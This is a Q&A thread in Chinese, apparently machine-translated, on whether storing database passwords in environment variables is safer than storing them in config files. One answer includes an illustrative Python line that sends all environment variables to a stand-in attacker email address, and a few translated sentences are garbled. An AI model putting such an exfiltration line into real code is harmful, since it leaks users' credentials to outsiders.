将密码作为环境变量(而不是纯文本)存储在配置文件中是否安全？

Question

我在rails,django(以及一点点php)中使用了一些应用程序,我在其中一些应用程序中开始做的一件事就是将数据库和其他密码存储为环境变量而不是某些配置文件中的纯文本(或者在settings.py中,对于django应用程序).

在与我的一位合作者讨论这个问题时,他认为这是一种糟糕的做法 - 也许这并不像最初看起来那么完美.

所以,我想知道 - 这是一种安全的做法吗？将密码作为纯文本存储在这些文件中是否更安全(当然,确保不将这些文件保留在公共存储库或任何其他内容中)？

Answer 1

如前所述,一旦系统受到威胁,这两种方法都不会提供任何额外的"安全性"层.我认为支持环境变量的最有力的理由之一是版本控制:我已经看到了太多的数据库配置等意外地存储在像GIT这样的版本控制系统中,以供其他开发人员查看(并且哎呀!它发生了我也是 ...).

不将密码存储在文件中使它们无法存储在版本控制系统中.

Answer 2

任何时候你必须存储密码,它是不安全的.期.无法安全地存储未加密的密码.现在哪个环境变量与配置文件更"安全"也许值得商榷.恕我直言,如果您的系统遭到入侵,它存储在哪里并不重要,一个勤奋的黑客可以追踪它.

Answer 3

在更理论的层面上,我倾向于通过以下方式考虑安全级别(按强度增加的顺序):

• 没有安全感.纯文本.任何知道在哪里查看的人都可以访问数据.
• 混淆的安全性.您将数据(明文)存储在某个棘手的地方(如环境变量),或者存储在看起来像配置文件的文件中.攻击者最终会弄清楚发生了什么,或者偶然发现它.
• 加密提供的安全性很容易打破,(想想凯撒密码!).
• 加密提供的安全性可以通过一些努力来打破.
• 加密提供的安全性对于破坏给定的当前硬件是不切实际的.
• 最安全的系统是没有人可以使用的系统!:)

环境变量比明文文件更安全,因为它们是易失性/一次性的,不能保存; 即,如果您只设置一个本地环境变量,如"set pwd = whatever",然后运行脚本,并在脚本末尾退出命令shell,则变量不再存在.你的案子属于前两个,我认为这是相当不安全的.如果您打算这样做,我建议不要在您的直接内部网/家庭网络之外部署,然后仅用于测试目的.

Answer 4

抱歉,我没有足够的回复评论,但我还想补充一点,如果你不小心,你的shell也可能在它的命令历史记录中捕获该密码.因此,$ pwd=mypassword my_prog手动运行并不像您希望的那样短暂.

Answer 5

我认为如果可能，您应该将您的凭据存储在 gitignored 文件中，而不是作为环境变量。

在 ENV（环境）变量与文件中存储凭据时要考虑的一件事是，您使用的任何库或依赖项都可以很容易地检查 ENV 变量。

这可能是恶意的，也可能不是。例如，库作者可以将堆栈跟踪和 ENV 变量通过电子邮件发送给自己以进行调试（不是最佳实践，但可以这样做）。

如果您的凭据在一个文件中，那么获取它们的峰值要困难得多。

具体来说，考虑 node.js 中的 npm。让 npm 查看您的凭据（如果它们在 ENV 中）是一个简单的process.ENV. 另一方面，如果它们在一个文件中，则需要做更多的工作。

您的凭据文件是否受版本控制是一个单独的问题。不是版本控制您的凭据文件会将其暴露给更少的人。无需所有开发人员都知道生产凭据。由于这符合最小权限原则，我建议 git 忽略您的凭据文件。

Answer 6

其中，使用环境变量存储机密的一个问题是它们可能会无意中泄露：

• 混乱的代码向用户显示带有上下文（环境变量）的原始错误消息
• 监控工具捕获错误和上下文并将其发送/存储以供将来调查
• 开发人员记录环境变量，将它们保存到磁盘（并且可能保存到某些日志处理工具，例如Logstash）
• 受损的依赖关系发送它可以到达的所有全局变量，包括环境变量给攻击者
• 设置 env 变量在 shell 历史记录中留下痕迹

配置文件中存储的机密的潜在问题：

• 文件权限配置错误，允许随机操作系统用户访问
• 开发人员将配置文件添加到版本控制中
  • 故意的（不知道这样不好）
  • 意外地。即使文件被删除（可能是在 PR 审查期间），如果操作不当，它可能仍然存在于 Git 提交历史记录中。

无论您存储秘密的方式如何，如果您的系统受到损害，您就完蛋了。提取这些只是时间和精力的问题。

那么我们能做些什么来最大程度地降低风险呢？

不要以纯文本形式存储/传递秘密。解决该问题的一种方法是使用外部（托管或自托管）机密存储解决方案（例如 AWS Parameter Store、Azure Vault、Hashicorp Vault）并在运行时获取敏感数据（可能缓存在内存中）。这样，您的秘密在传输过程中和静态时都会被加密。

Answer 7

这取决于您的威胁模型。

您是否要防止用户在可能被忘记和处理不当的整个文件系统上散布密码？如果是这样，则是，因为环境变量的持久性不如文件。

您是否要防御直接针对您程序的恶意软件？如果是这样，则否，因为环境变量没有文件具有相同级别的访问控制。

就个人而言，我认为疏忽的用户比有动机的对手更常见，因此我会选择环境变量方法。

Answer 8

AFAICT，人们建议将机密存储在环境变量中的原因有两个：

1. 很容易无意中将秘密平面文件提交到存储库。（如果它是公共仓库，那你就完蛋了。）
2. 它可以防止密码混乱，即，在许多不同的项目目录文件中使用相同的密钥本身就是一种安全风险，因为开发人员最终将失去秘密所在的位置。

这两个问题可以通过更好的方式来解决。前者应该通过 git commit 钩子来解决，该钩子检查看起来像密码的东西（例如，gitleaks）。我希望 Linus 在 git 库的源代码中内置这样一个工具，但遗憾的是，这并没有发生。（不用说，秘密文件应该始终添加到.gitignore，但你需要一个钩子，以防有人忘记这样做。）

后者可以通过拥有全球公司机密文件来解决，该文件最好存储在只读共享驱动器上。因此，在 Python 中，您可以拥有类似from company_secrets import *.

更重要的是，正如其他人指出的那样，破解存储在环境变量中的秘密太容易了。例如，在 Python 中，库作者可以插入send_email(address="evil.person@evil.com", text=json.dumps(os.environ))，然后如果您执行此代码，您就完蛋了。如果您的系统上有一个名为~/secret_company_stuff/.my_very_secret_company_stuff.

仅限 Django 用户：
如果出现异常（在 DEBUG 模式下），Django（在 DEBUG 模式下）会在浏览器中显示环境变量的原始值。例如，如果开发人员不小心将其投入DEBUG=True生产，这似乎非常不安全。相反，Django 通过在框架文件的变量名称中查找字符串API、TOKEN、KEY、SECRET或PASS来混淆密码设置变量。SIGNATUREsettings.py